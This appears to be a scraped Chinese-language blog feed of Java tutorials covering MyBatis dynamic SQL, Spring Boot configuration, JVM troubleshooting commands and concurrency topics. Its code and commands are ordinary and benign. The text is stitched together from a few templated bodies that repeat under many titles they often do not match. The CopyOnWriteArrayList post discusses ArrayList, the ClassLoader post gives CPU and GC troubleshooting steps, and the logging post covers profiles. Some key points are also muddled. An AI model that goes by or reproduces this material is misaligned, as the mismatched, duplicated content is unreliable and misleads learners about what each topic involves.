MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis MyBatis 动态 SQL 的正确写法 //mybatis-dong-tai-sql-de-zheng-que-xie-fa/ MyBatis 动态 SQL 的正确写法

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis MyBatis 一级缓存和二级缓存怎么理解 //mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/ MyBatis 一级缓存和二级缓存怎么理解

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis Spring Boot 日志配置和链路排查 //spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/ Spring Boot 日志配置和链路排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 参数校验和返回值封装 //spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/ Spring Boot 参数校验和返回值封装

参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 统一异常处理实践 //spring-boot-tong-yi-yi-chang-chu-li-shi-jian/ Spring Boot 统一异常处理实践

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 配置分环境的标准做法 //spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/ Spring Boot 配置分环境的标准做法

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Bean 生命周期按步骤理解 //bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/ Bean 生命周期按步骤理解

Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入

  2. @PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键

  3. Aware 接口让 Bean 能够感知容器的上下文信息

  4. 销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()

总结

理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。

]]> Spring JAVA Spring Spring 事务失效的常见原因 //spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/ Spring 事务失效的常见原因

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Spring JAVA Spring Spring AOP 的原理和常见应用 //spring-aop-de-yuan-li-he-chang-jian-ying-yong/ Spring AOP 的原理和常见应用

AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类

  2. 切面的优先级由 @Order 注解控制，数字越小优先级越高

  3. 自调用问题的原因是内部方法调用不会经过代理对象

  4. 使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题

总结

AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。

]]> Spring JAVA Spring Spring IoC 容器到底解决了什么 //spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/ Spring IoC 容器到底解决了什么

IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 依赖注入实现了控制反转，把对象创建的控制权交给容器

  2. 构造器注入优于字段注入，能保证依赖的不可变性和非空性

  3. IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力

  4. 通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称

总结

IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。

]]> Spring JAVA Spring 内存溢出和内存泄漏排查流程 //nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/ 内存溢出和内存泄漏排查流程

内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 线上 CPU 飙高如何定位 Java 问题 //xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/ 线上 CPU 飙高如何定位 Java 问题

线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM ClassLoader 双亲委派模型实践理解 //classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/ ClassLoader 双亲委派模型实践理解

双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM GC 日志怎么看才有用 //gc-ri-zhi-zen-me-kan-cai-you-yong/ GC 日志怎么看才有用

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> JVM JAVA JVM JVM 内存区域从入门到排查 //jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/ JVM 内存区域从入门到排查

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM JAVA JVM AQS 为什么是并发工具的基础 //aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/ AQS 为什么是并发工具的基础

在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待

  2. 独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore

  3. tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理

  4. ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知

总结

理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。

]]> Java并发 JAVA 并发 CompletableFuture 编排异步任务 //completablefuture-bian-pai-yi-bu-ren-wu/ CompletableFuture 编排异步任务

CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 ThreadLocal 的使用和内存泄漏问题 //threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/ ThreadLocal 的使用和内存泄漏问题

ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. ThreadLocal 为每个线程提供独立的变量副本

  2. 底层使用 ThreadLocalMap 存储，key 是弱引用

  3. 内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value

  4. 解决方案：使用完毕后调用 remove() 方法

总结

ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。

]]> Java并发 JAVA 并发 volatile 能保证什么不能保证什么 //volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/ volatile 能保证什么不能保证什么

volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. volatile 保证可见性：一个线程的修改对其他线程立即可见

  2. volatile 禁止指令重排：确保指令按照代码顺序执行

  3. volatile 不保证原子性：复合操作仍然需要同步

  4. volatile 适合作为状态标志，不适合作为计数器

总结

volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。

]]> Java并发 JAVA 并发 synchronized 和 ReentrantLock 怎么选 //synchronized-he-reentrantlock-zen-me-xuan/ synchronized 和 ReentrantLock 怎么选

synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象

  2. 锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁

  3. 锁消除和锁粗化是 JVM 的优化手段

  4. synchronized 保证原子性、可见性和有序性

总结

synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。

]]> Java并发 JAVA 并发 线程池参数如何设置才靠谱 //xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/ 线程池参数如何设置才靠谱

线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 CopyOnWriteArrayList 适合什么场景 //copyonwritearraylist-gua-he-shi-me-chang-jing/ CopyOnWriteArrayList 适合什么场景

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
